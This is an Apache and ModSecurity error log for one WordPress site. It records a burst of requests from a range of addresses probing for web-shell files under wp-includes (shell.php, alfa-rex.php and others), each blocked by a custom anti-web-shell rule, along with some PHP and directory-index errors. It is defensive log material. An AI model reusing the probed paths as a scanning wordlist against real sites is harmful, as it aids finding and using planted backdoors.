[Sun Mar 01 14:36:01.564547 2026] [:error] [pid 38241:tid 38246] [client 45.86.202.175:22409] [client 45.86.202.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aaPeUfKRPk6YnJBxw_weCQAAAMI"]
[Sun Mar 01 14:36:04.733533 2026] [:error] [pid 42619:tid 42644] [client 45.86.202.197:34473] [client 45.86.202.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aaPeVB_zUXcYaZE4AOd4pgAAAVc"]
[Sun Mar 01 14:36:06.374113 2026] [proxy_fcgi:error] [pid 44644:tid 44648] [client 45.86.202.198:53341] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/gigfrag/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/gigfrag/public_html/wp-admin/includes/admin.php on line 16'
[Sun Mar 01 14:36:07.005221 2026] [:error] [pid 38241:tid 38263] [client 45.86.202.198:37629] [client 45.86.202.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aaPeV_KRPk6YnJBxw_weEgAAANM"]
[Sun Mar 01 14:36:18.658659 2026] [:error] [pid 41780:tid 41784] [client 45.86.202.198:38085] [client 45.86.202.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugin.php"] [unique_id "aaPeYsONkVoocLIqzy0KSAAAA8E"]
[Sun Mar 01 14:36:19.315635 2026] [:error] [pid 44644:tid 44647] [client 45.86.202.166:29083] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aaPeY53RJaXMcw3y9V92RAAAAAA"]
[Sun Mar 01 14:36:24.024852 2026] [:error] [pid 44644:tid 44670] [client 45.86.202.163:59631] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aaPeaJ3RJaXMcw3y9V92YAAAABc"]
[Sun Mar 01 14:36:31.767241 2026] [:error] [pid 44644:tid 44663] [client 45.86.202.180:55717] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aaPeb53RJaXMcw3y9V92hwAAABA"]
[Sun Mar 01 14:36:36.960184 2026] [:error] [pid 38034:tid 38050] [client 45.86.202.170:23645] [client 45.86.202.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aaPedAxtfZjwlJok9K-IZQAAAQw"]
[Sun Mar 01 14:36:40.744304 2026] [:error] [pid 41780:tid 41796] [client 45.86.202.190:24213] [client 45.86.202.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aaPeeMONkVoocLIqzy0KqwAAA80"]
[Sun Mar 01 14:36:43.498300 2026] [:error] [pid 37032:tid 37049] [client 45.86.202.160:23347] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aaPee-u0U4o7eSImsVQbegAAAY8"]
[Sun Mar 01 14:36:46.089515 2026] [:error] [pid 37032:tid 37057] [client 45.86.202.184:44987] [client 45.86.202.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aaPefuu0U4o7eSImsVQbigAAAZc"]
[Sun Mar 01 14:36:53.859431 2026] [:error] [pid 41780:tid 41805] [client 45.86.202.174:61569] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aaPehcONkVoocLIqzy0KtQAAA9Y"]
[Sun Mar 01 14:36:59.692868 2026] [:error] [pid 42619:tid 42637] [client 45.86.202.166:42019] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aaPeix_zUXcYaZE4AOd5IwAAAVA"]
[Sun Mar 01 14:37:00.326617 2026] [proxy_fcgi:error] [pid 44644:tid 44648] [client 45.86.202.177:42675] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:37:00.650399 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.177:42675] [client 45.86.202.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aaPejJ3RJaXMcw3y9V93twAAAAc"]
[Sun Mar 01 14:37:01.328427 2026] [:error] [pid 41342:tid 41359] [client 45.86.202.169:56709] [client 45.86.202.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aaPejY4iJ6RAS5CatDlEugAAAg4"]
[Sun Mar 01 14:37:05.759160 2026] [:error] [pid 42619:tid 42634] [client 45.86.202.188:47597] [client 45.86.202.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aaPekR_zUXcYaZE4AOd5LAAAAU0"]
[Sun Mar 01 14:37:06.425043 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.156:42673] [client 45.86.202.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aaPekp3RJaXMcw3y9V93ywAAAAc"]
[Sun Mar 01 14:37:17.074228 2026] [:error] [pid 38034:tid 38044] [client 45.86.202.204:56731] [client 45.86.202.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-2019.php"] [unique_id "aaPenQxtfZjwlJok9K-JUAAAAQY"]
[Sun Mar 01 14:37:17.740992 2026] [:error] [pid 41342:tid 41363] [client 45.86.202.185:23283] [client 45.86.202.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aaPenY4iJ6RAS5CatDlEvAAAAhI"]
[Sun Mar 01 14:37:20.527907 2026] [:error] [pid 44644:tid 44652] [client 45.86.202.164:39953] [client 45.86.202.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/log.php"] [unique_id "aaPeoJ3RJaXMcw3y9V94CQAAAAU"]
[Sun Mar 01 14:37:21.298900 2026] [:error] [pid 38034:tid 38044] [client 45.86.202.188:54357] [client 45.86.202.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aaPeoQxtfZjwlJok9K-JWwAAAQY"]
[Sun Mar 01 14:37:21.983034 2026] [:error] [pid 42619:tid 42633] [client 45.86.202.165:28107] [client 45.86.202.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aaPeoR_zUXcYaZE4AOd5OgAAAUw"]
[Sun Mar 01 14:37:22.541441 2026] [:error] [pid 37032:tid 37036] [client 45.86.202.164:42241] [client 45.86.202.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/aw.php"] [unique_id "aaPeouu0U4o7eSImsVQb3wAAAYI"]
[Sun Mar 01 14:37:30.365484 2026] [:error] [pid 41967:tid 41974] [client 45.86.202.174:63791] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/db.php"] [unique_id "aaPeqoO1bqY181I02eF_nQAAAIU"]
[Sun Mar 01 14:37:31.067581 2026] [:error] [pid 40750:tid 40757] [client 45.86.202.224:37689] [client 45.86.202.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/install.php"] [unique_id "aaPeqwfBuk03yQKDyqvHkAAAAcQ"]
[Sun Mar 01 14:37:35.214289 2026] [:error] [pid 38034:tid 38049] [client 45.86.202.200:54759] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aaPerwxtfZjwlJok9K-JiAAAAQs"]
[Sun Mar 01 14:37:35.926208 2026] [:error] [pid 44644:tid 44650] [client 45.86.202.157:60299] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aaPer53RJaXMcw3y9V94TgAAAAM"]
[Sun Mar 01 14:37:40.402237 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.202:51853] [client 45.86.202.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/template-less.php"] [unique_id "aaPetJ3RJaXMcw3y9V94cAAAAAc"]
[Sun Mar 01 14:37:41.022348 2026] [:error] [pid 42619:tid 42640] [client 45.86.202.200:61133] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aaPetR_zUXcYaZE4AOd5YQAAAVM"]
[Sun Mar 01 14:37:54.540433 2026] [:error] [pid 38241:tid 38262] [client 45.86.202.176:54835] [client 45.86.202.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/min.php"] [unique_id "aaPewvKRPk6YnJBxw_wexgAAANI"]
[Sun Mar 01 14:37:55.220386 2026] [:error] [pid 37032:tid 37046] [client 45.86.202.197:37589] [client 45.86.202.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aaPew-u0U4o7eSImsVQcLAAAAYw"]
[Sun Mar 01 14:37:59.774333 2026] [:error] [pid 44644:tid 44647] [client 45.86.202.198:25213] [client 45.86.202.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/file.php"] [unique_id "aaPex53RJaXMcw3y9V94sQAAAAA"]
[Sun Mar 01 14:38:03.981091 2026] [:error] [pid 42619:tid 42642] [client 45.86.202.194:52567] [client 45.86.202.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aaPeyx_zUXcYaZE4AOd5dgAAAVU"]
[Sun Mar 01 14:38:06.930629 2026] [:error] [pid 42619:tid 42625] [client 45.86.202.168:39939] [client 45.86.202.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/load.php"] [unique_id "aaPezh_zUXcYaZE4AOd5eAAAAUQ"]
[Sun Mar 01 14:38:07.547893 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.162:56495] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aaPez53RJaXMcw3y9V943QAAABY"]
[Sun Mar 01 14:38:08.645890 2026] [:error] [pid 38034:tid 38044] [client 45.86.202.174:22901] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aaPe0AxtfZjwlJok9K-KKQAAAQY"]
[Sun Mar 01 14:38:14.844938 2026] [:error] [pid 38034:tid 38036] [client 45.86.202.201:36707] [client 45.86.202.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aaPe1gxtfZjwlJok9K-KPAAAAQA"]
[Sun Mar 01 14:38:17.572809 2026] [:error] [pid 44644:tid 44668] [client 45.86.202.162:37477] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aaPe2Z3RJaXMcw3y9V95HwAAABU"]
[Sun Mar 01 14:38:23.836667 2026] [:error] [pid 41967:tid 41973] [client 45.86.202.189:34669] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aaPe34O1bqY181I02eF_xwAAAIQ"]
[Sun Mar 01 14:38:24.458984 2026] [:error] [pid 42619:tid 42621] [client 45.86.202.162:43195] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aaPe4B_zUXcYaZE4AOd5mQAAAUA"]
[Sun Mar 01 14:38:27.307880 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.193:58707] [client 45.86.202.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aaPe453RJaXMcw3y9V95SgAAABY"]
[Sun Mar 01 14:38:44.417029 2026] [:error] [pid 37032:tid 37046] [client 45.86.202.177:55895] [client 45.86.202.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/system.php"] [unique_id "aaPe9Ou0U4o7eSImsVQc1gAAAYw"]
[Sun Mar 01 14:38:46.578457 2026] [:error] [pid 37032:tid 37057] [client 45.86.202.198:24653] [client 45.86.202.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aaPe9uu0U4o7eSImsVQc6AAAAZc"]
[Sun Mar 01 14:38:51.007047 2026] [:error] [pid 37032:tid 37039] [client 45.86.202.189:29421] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aaPe--u0U4o7eSImsVQc-wAAAYU"]
[Sun Mar 01 14:38:51.706090 2026] [:error] [pid 38034:tid 38057] [client 45.86.202.191:29603] [client 45.86.202.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aaPe-wxtfZjwlJok9K-K3gAAARM"]
[Sun Mar 01 14:38:52.300153 2026] [:error] [pid 38034:tid 38058] [client 45.86.202.180:29817] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aaPe_AxtfZjwlJok9K-K5QAAARQ"]
[Sun Mar 01 14:38:54.956256 2026] [autoindex:error] [pid 38034:tid 38047] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:55.302891 2026] [autoindex:error] [pid 38034:tid 38054] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:55.624430 2026] [autoindex:error] [pid 38034:tid 38057] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:55.967718 2026] [autoindex:error] [pid 38034:tid 38038] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:58.026909 2026] [autoindex:error] [pid 38034:tid 38058] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:58.381695 2026] [autoindex:error] [pid 38034:tid 38038] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
